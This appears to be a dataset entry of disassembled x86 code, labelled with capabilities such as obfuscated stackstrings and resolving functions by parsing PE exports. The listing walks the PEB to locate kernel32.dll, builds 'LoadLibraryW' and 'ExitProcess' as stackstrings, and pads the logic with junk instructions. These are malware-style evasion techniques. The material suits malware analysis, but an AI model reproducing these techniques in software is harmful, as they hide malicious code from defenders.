Function at 0x42a178
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push edx
push edi
add esp, 4
or edx, 0x5bf9
and edx, 0x17b2c
jmp fcn.00429e85
sub edx, 0x12ffd
pop edx
push edx
push esi
add esp, 4
call 0x429e9d
add byte [edi], dh
cmp ecx, dword [ebp + 0x32]
cmp eax, dword [esi - 0x7d]
les eax, [edx + ebx*2]
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x429ee9
push ecx
push esi
add esp, 4
or ecx, 0x1109d
pop ecx
push ebx
jmp 0x429ec5
sub ebx, 0xae94
xor ebx, 0x155fa
pop ebx
push edx
push edi
add esp, 4
add edx, 0xad3a
and edx, 0xaa90
pop edx
jmp 0x42a117
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa60], ecx
push ebx
push edx
add esp, 4
call 0x429f13
add byte [eax], bh
dec ebx
inc esi
dec ebx
inc esi
aas
xor al, 0x4c
add esp, 4
pop ebx
push ebx
xor ebx, 0x9d9b
xor ebx, 0x4754
or ebx, 0x96c6
sub ebx, 0x8366
pop ebx
mov edx, dword [ebp - 0x14c8]
mov dword [ebp - 0x9f0], edx
mov dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x14c8]
jne 0x429f98
push edx
call 0x429f66
add byte [edx], bh
dec eax
inc edi
dec eax
xor eax, 0x4f335045
dec edi
add esp, 4
add edx, 0x14db8
call 0x429f7d
add byte [edx + edi], dh
aas
cmp al, 0x38
dec edi
cmp al, byte [ecx - 0x7d]
les eax, [ecx + eax*4]
ret 0xc5db
cmp dword [ebp - 0xc10], 0
jle 0x42a0bd
push ebx
and ebx, 0x886a
xor ebx, 0x17492
and ebx, 0x65e2
sub ebx, 0x685
pop ebx
push eax
sub eax, 0x967d
call 0x429fd3
add byte [edi + ecx*2 + 0x49], al
dec eax
dec edx
dec esi
add esp, 4
pop eax
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9f0]
movzx edx, byte [ecx]
cmp eax, edx
je 0x42a059
push ebx
or ebx, 0xcca6
pop ebx
push ebx
add ebx, 0x285f
pop ebx
push ebx
sub ebx, 0x15394
pop ebx
push edx
sub edx, 0xa9f1
add edx, 0x713d
sub edx, 0x7e65
or edx, 0xe068
pop edx
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9f0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x42a041
mov dword [ebp - 0x14cc], 1
jmp 0x42a04b
mov dword [ebp - 0x14cc], 0xffffffff
mov ecx, dword [ebp - 0x14cc]
mov dword [ebp - 0xc14], ecx
jmp 0x42a0bd
push ebx
call fcn.0042a06a
add byte [edi + 0x3b], al
dec eax
dec eax
push eax
push eax
inc ecx
push eax
dec ecx
cmp eax, 0x8104c483
add esp, 4
invalid
jecxz 0x42a0d1
sbb dword [eax], eax
add bl, ch
pop es
dec ebx
dec eax
dec edi
push eax
push eax
dec eax
cmp eax, 0x5f34e381
add dword [eax], eax
pop ebx
push edi
and edi, 0x11e69
pop edi
mov edx, dword [ebp - 0xc10]
sub edx, 1
mov dword [ebp - 0xc10], edx
mov eax, dword [ebp - 0xa60]
add eax, 1
mov dword [ebp - 0xa60], eax
mov ecx, dword [ebp - 0x9f0]
add ecx, 1
mov dword [ebp - 0x9f0], ecx
jmp 0x429f98
mov edx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], edx
cmp dword [ebp - 0x14d0], 0
jne 0x42a112
inc eax
push eax
and eax, 0xe33d
call 0x42a0e8
add byte [edx + 0x4d], al
xor al, 0x35
inc edi
xor eax, dword [ebx + 0x46]
dec eax
add esp, 4
or eax, 0xb553
pop eax
push edx
push edx
add esp, 4
jmp 0x42a0fd
xor edx, 0x13a1a
pop edx
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0xa5c], eax
jmp 0x42a153
jmp 0x429e60
push ebx
call 0x42a125
add byte [0x423c3335], bh
cmp ecx, dword [ebx - 0x7d]
les eax, [ecx + eax*4]
retf
push edi
jmp 0x42a15d
pop edi
push eax
push esi
add esp, 4
xor eax, 0xdf2a
call 0x42a178
add byte [0x4d3a3e47], dh
cmp byte [ebx + 0x39], cl
dec ecx
add esp, 4
jmp 0x42a184
pop eax
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push esi
call 0x42a1e7
add byte [eax + edi], dh
dec edx
aaa
cmp edi, dword [eax]
xor eax, dword [ebx + 0x515e04c4]
push ecx
add esp, 4
jmp 0x42a1f7
jmp 0x42a1fe
sub ecx, 0x72f8
and ecx, 0x1048d
pop ecx
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push edi
push ebx
add esp, 4
xor edi, 0x6540
sub edi, 0x1229e
or edi, 0xdff5
pop edi
push esi
call 0x42a2cc
add byte [esp + ecx*2 + 0x36], cl
inc esp
xor eax, 0x43394c39
add esp, 4
xor esi, 0xb29
pop esi
push ecx
push edx
add esp, 4
sub ecx, 0xfbfc
xor ecx, 0x7173
pop ecx
push edi
add edi, 0xffdb
pop edi
push eax
push ebx
add esp, 4
xor eax, 0x117a2
sub eax, 0x65b6
xor eax, 0x8817
pop eax
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push edx
and edx, 0x305a
pop edx
push ecx
push ebx
add esp, 4
call 0x42a34b
add byte [ecx + eax*2 + 0x38], al
dec esp
aas
dec ebx
cmp byte [ebx + 0x505904c4], al
push eax
add esp, 4
sub eax, 0xdecd
jmp 0x42a361
pop eax
cmp dword [ebp - 0x14d4], 0
jmp 0x42a366
inc dword [eax]
jne 0x42a37a
mov dword [ebp - 0x2e0], 0
jmp 0x42a636
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push ebx
call 0x42a39a
add byte [0x33393f4b], bh
push eax
xor al, 0x83
les eax, [ebx + ebx*2]
push esi
call 0x42a3ac
add byte [eax], bh
cmp dword [edx + 0x4c], ecx
dec eax
dec esp
aaa
add esp, 4
and esi, 0xf3ba
pop esi
push ebx
or ebx, 0x1214b
pop ebx
cmp dword [ebp - 0xc20], 0
jne 0x42a3d6
mov dword [ebp - 0x2e0], 0
jmp 0x42a636
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push edi
or edi, 0x8e90
add edi, 0xf843
call 0x42a3fc
add byte [ecx + 0x49], cl
inc ebx
inc esp
cmp eax, 0x4c48336
sub edi, 0xe2cb
pop edi
push ecx
add ecx, 0x15098
xor ecx, 0x3fec
pop ecx
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push esi
push ecx
add esp, 4
xor esi, 0x13a21
call 0x42a458
add byte [eax + 0x43], cl
inc edx
inc ebp
dec ebp
inc esp
add esp, 4
pop esi
push edi
push ebx
add esp, 4
and edi, 0x15376
pop edi
push eax
push ecx
add esp, 4
jmp 0x42a472
pop eax
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push edx
sub edx, 0x2438
xor edx, 0x17e40
pop edx
push edi
sub edi, 0xe627
call 0x42a4f0
add byte [edi], bh
push eax
dec eax
dec eax
inc ebx
cmp dword [esi + 0x40], ecx
add esp, 4
jmp 0x42a4f8
or edi, 0x9c77
pop edi
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x42a522
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x42a585
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x42a441
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x42a441
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x42a56f
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x42a579
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x42a5ce
push ebx
and ebx, 0x12ec2
xor ebx, 0xb16
add ebx, 0xc1d3
add ebx, 0x1626b
pop ebx
push ebx
push ecx
add esp, 4
xor ebx, 0x623b
or ebx, 0x1812c
sub ebx, 0x9892
pop ebx
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2e0], eax
jmp 0x42a636
push edi
push eax
add esp, 4
jmp 0x42a5d8
jmp 0x42a5e1
add edi, 0xfec4
and edi, 0x130aa
pop edi
push edi
push eax
add esp, 4
add edi, 0x2806
sub edi, 0x455f
pop edi
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0xc20]
je 0x42a62c
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x42a3e2
mov dword [ebp - 0x2e0], 0
push ebx
and ebx, 0x2446
add ebx, 0x13854
add ebx, 0xa9cc
pop ebx
push ebx
push ebx
add esp, 4
sub ebx, 0x14850
pop ebx
push edx
push ebx
add esp, 4
add edx, 0x8da3
sub edx, 0x139d5
pop edx
cmp dword [ebp - 0x2e0], 0
jne 0x42af81
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push esi
push edx
add esp, 4
or esi, 0xa736
xor esi, 0xceb3
jmp 0x42a725
pop esi
push eax
xor eax, 0x13d60
sub eax, 0x176ee
and eax, 0xfec3
jmp 0x42a73f
pop eax
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push ebx
push edx
add esp, 4
sub ebx, 0x14c56
jmp 0x42a7d4
pop ebx
push edx
sub edx, 0x1637d
call 0x42a7ea
add byte [0x3e483d43], dh
inc edx
aaa
xor al, 0x83
les eax, [ecx + eax*4]
cmc
mov cl, 0
add byte [edx - 0x7d], bl
mov ebp, 0xffffeb24
add byte [ebp + 0xf], dh
mov dword [ebp - 0x6ec], 0
jmp fcn.0042aac8
push eax
push esi
add esp, 4
or eax, 0x1f70
xor eax, 0x13ae2
add eax, 0x27d0
pop eax
push edx
push eax
add esp, 4
and edx, 0x134d5
jmp fcn.0042afac